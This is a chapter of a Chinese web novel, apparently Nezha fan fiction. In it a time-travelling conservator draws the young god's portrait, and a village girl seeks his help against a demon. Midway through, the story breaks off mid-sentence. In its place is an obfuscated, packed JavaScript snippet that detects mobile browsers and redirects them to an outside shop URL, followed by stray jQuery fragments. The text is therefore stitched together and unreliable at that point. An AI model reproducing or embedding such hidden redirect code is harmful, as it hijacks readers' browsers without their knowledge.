10.有客到
作品:《[哪吒]人在神话,但文保员》 今夜过于漫长。
扶音凝神,靠着柱子低头在笔记本上画着。耳边是少年叽叽喳喳的声音,脸这里该瘦一点,眉毛要更凌厉一点……她听着,手中的笔照着一条条指令修改,她很怀疑,最终出来的效果图还是不是他。
不知花费了多少时间,扶音终于听到了少年的一声“差不多了……”
她松了口气,耳边终于清净了。若非真实经历,她真的很难想象哪吒是个话痨。也无法将他与自己心中的哪吒……思及此处,扶音蓦地一愣,心中的哪吒?她心中的哪吒又是怎样的?
这是很奇怪的一种想法。
[无论我看到的,亦或是听到的,其实都不如亲自经历的。]
说到底,扶音也没有真的见过哪吒。甚至她都没去过哪吒的行宫。她一个成年人,去哪吒庙里做什么?
影视里,小说里的形象再深入人心,也抵不过耳边响起的叽叽喳喳。
她看着纸上的画像,沉默了会儿。后来还是哪吒意味不明的话将她拉出奇妙的思绪。
“唔……有点像我大哥。”
他的声音带着一丝犹豫,又有些微妙的不爽。
扶音没觉得有什么奇怪的,她说:“既是兄弟,相像也是理所当然。”
哪吒却摇摇头,鼻腔里发出一声轻哼:“兄弟相像自然正常。不过……”他的语气还是带着不爽,甚至不爽的程度比刚才还深了些,“只是这画像,比起是我,更像是大哥。”
扶音明白了,腹诽道:这不还是你自己口述的吗?
“你和你大哥感情不好?”
这么排斥?扶音也只有想到这一点。
哪吒:“也不能说是感情不好……”
他的语气有些发虚,不知该如何开口。
听懂了他的微妙的语气,扶音放下笔,扯出一个微笑,“懂了,是有感情,但不多是吧。”
各个版本的哪吒,与其兄长金吒木吒的关系,也不尽相同。有的是自出生起便未见过,也有的是从小带大,也有的几乎是从未着墨过,顶多一句哪吒是三子,意味着他前头还有两个兄长。
“你说我画,结果画成了你哥哥,你不要告诉我,你是个兄控。”
哪吒是个兄控,这有点吓人了。
反正扶音想象不出来。
“兄控?那又是什么?”哪吒不理解,但不妨碍他知道这不是什么好词,他哼声道,“反正不是你想的那样。”
扶音才不管是不是她想的那样。她又没有兄弟姐妹,自然也没法想象兄弟姐妹控的情感。
漫画里影视剧里固然有,但她完全磕不起来,什么兄控妹控姐控弟控什么的,对她来说都挺吓人的。一想到有这么一个人这么控自己,好吧,她鸡皮疙瘩都要起来了。
扶音还是太实在了。
她低下头,目光再次停留在那张疑似“金吒”的画像上。
她安慰哪吒说:“等你长大了,估计也是这副样子。毕竟我也不是专业的画家,讲述与画之间还是有偏差的。”
哪吒接受了这个说法。
但他看着这画像还是有些微妙的不爽。但不得不承认,扶音这话是谦虚了,即便不是专业的画家,这也画的相当不错了。他还从未见过这种画法。想到扶音来自未来,他便释然了。
未来可真神奇。
“所以,你知道我长什么样了吗?”
哪吒回到扶音身边,目光偶尔在画上轻飘飘的略过。那微妙的不爽快,在扶音撕下画后悄然散去。
扶音没有回答这个问题,而是捏着纸张道:“要是有机会见到你大哥,我会喊一声哪吒的,就看他应不应了。”
哪吒:……
扶音甩了甩画像,“这个送给你了,要贴在哪里吗?金身的脸上怎么样?”
哪吒:……
……
后半夜又起风了。扶音靠在神台上,听着外头风吹飒飒的声响,一点睡意也没有。就这样睁着眼睛,等待黎明的到来。
这很奇怪,在破庙里睡着就会来到破庙的过去,但在过去的时间里睡着呢?前几天,她一点印象也没有。好似恍惚间,她就回到了破庙,也就是醒来。
看起来好像真的做了个梦。可她又确定自己不是做梦。梦境是无法解释的,所以她无法理解。
就如同她无法理解她为什么不会困——如果她真的不是做梦的话,一个人真的有可能二十四小时睁着眼睛不会困吗?白天修屋顶、修神像、捕鱼,晚上还得给哪吒上香、画画像……已经连续几天了,她真的不会猝死吗?
两个时空的交界——酉时和寅时两个时间。她不确定,她是猜的,但很有可能是这两个时间。有点像是——
逢魔时刻。
很日式的说法,但很贴切。
哪吒端坐于神台,歪着头看着她脸色变了又变,也不知在想些什么。他转了个身,一手撑着下巴,一手搁在膝盖上一下一下地敲着计时——这是扶音教给他的,敲击两下之间间隔的时间,就是一秒,六十个间隔就是一分钟,三千六百个间隔就是一个小时,一天有二十四个小时。这和他们现在的计时相差很大。
这里没有时间的说法,只有旦、朝、大食、中日等说法。扶音说就跟她们那里的早晨,中午、傍晚差不多。哪吒只觉得稀奇,但说有没有用,好像也的确没什么用。
至少对现在而言,确实没什么用处。
“唉……”
扶音发出了叹气声。
哪吒眉毛轻轻一挑。他正要说什么,外头忽然间传来了脚步声。
扶音抬起眼,感到十分稀奇。她在这儿几天了,从未见到大晚上的有人来这里。
来拜神?
“有客到了。”扶音轻声说着,慢吞吞地钻进了供桌里面。
哪吒轻哼,两旁的火把微微一颤。
脚步声由远而近,带着一股虚浮的无力感。待真正踏入主殿,除了脚步声还有隐约的啜泣声。
她来到供桌前,跪下叩拜:
“今夜迫于艰厄,来此地以避凶祸。神若有灵,佑我脱咎,弗加我灾。惟神是依,惟神是助……”
是一个年轻的女声。
听着是来避祸的。
可现在都快破晓了吧,能避什么祸呢?
“你来是避什么祸的?”
主殿内响起哪吒的问声。
来人身体一怔,目露惊恐,整个人就僵在原地。
“你怕什么,你既拜了我,求我庇佑,心中又有何惧?”
“我……”
来人深呼吸,往下一拜,声音颤抖:“余名阿采,居山下方邑。闻山之上有行宫,其灵赫赫,故来敬祈。邑中不宁,屡有妖祟为害,惊扰室家,人心惶惶。”
扶音听着只觉得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17467190|200996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇怪,即便有妖祟为害,什么时候不能来拜神?偏偏是这个时候?
扶音想提醒哪吒,但刚张开嘴就捂住了。她出声就代表会暴露,那就和这个时间产生了交集。她不知道会有什么后果,但直觉告诉她还是不要过多地牵涉这个时间点。
她听到哪吒问:“既有妖祟为害,为何不早早来?”
哪吒凝神,悉心聆听,可却并未感觉到什么。
阿采伏在地上,肩膀微微发抖。哪吒的声音从神台上方传来,不高不低,却带着一股无形的压迫。她不敢抬头,只敢盯着她自己扣在地上的双手,一字一句地说:
“……非是阿采不愿早来,实是来不了。”
“来不了?”哪吒挑了挑眉,“腿长在你身上,山又没封,怎就来不了?”
阿采咬了咬唇:“通往山上的路,白日里走得好好的,一入夜就……就不对了。前几日村中有几个后生结伴上山,走到半途,忽见前面起了大雾,雾里有人影晃动,喊他们的名字。他们应了一声,便不省人事了。待醒来时,天已大亮,人却躺在村口的粪坑边上,浑身上下臭不可闻。”
“那你是如何上来的?”
“我……我走的是西边的小路,绕了很远,天未黑就出发了。”阿采的声音越来越低,“其实我昨夜就到了山脚,一直躲在林子里,等到今夜才敢进庙。我听说……祟怕火,庙里有长明灯,想来会安全些。”
哪吒沉默了一会儿,忽然轻轻笑了一声:“你倒是机灵。”
阿采不敢接话。
扶音躲在供桌底下,透过桌布的缝隙往外瞧。她只能看见阿采的双手——粗糙的,还带着伤痕的。
哪吒又问:“你说的祟,长什么样?”
阿采浑身一颤:“没有人见过它的全貌。只是……只是每户遭了祟的人家,都听见同样的声音。”
“什么声音?”
“笑声。”阿采的声音几乎是从牙缝里挤出来的,“像是婴儿的笑声,又像是老人的咳嗽声,混在一起,从墙缝里、从水缸里、从火塘里渗出来。听见那声音的人,不是病了,就是疯了。我阿母她……”
说到这里,阿采的声音哽咽了,再也说不下去。她把额头抵在地上上,整个人蜷缩成一团。
哪吒沉默了片刻,忽然从神台上跳了下来。
他落地的声音很轻,但阿采还是吓了一跳,猛地抬起头——她看见一个少年站在自己面前,红衣如火,发如墨染,一双眼睛在火光中亮得不像凡人。
但只是一个虚影。
一个随时会被吹散的虚影。
“你、你就是……”阿采张了张嘴,膝盖不由自主地往后挪了半步。
“你不是来求我保佑的么?”哪吒歪着头看她,语气里带着一丝不耐烦,却没有恶意,“怕什么怕。走,带我去你村里看看。”
阿采愣住了:“现、现在?”
“不然呢?等祟把你们全村都祸害完了,我去收尸?”
阿采嘴唇哆嗦着,忽然又重重地磕了一个头:“神若肯出手,阿采愿意献上任何祭品!我家虽穷,但有一头牛、两只羊,还有——”
“行了行了。”哪吒摆摆手,懒得听这些,“我不要你的牛羊。你只管带路便是。”
随后便是阿采急切的却又带着几分实感的脚步声。
而供桌下的扶音,不知何时已陷入沉睡。

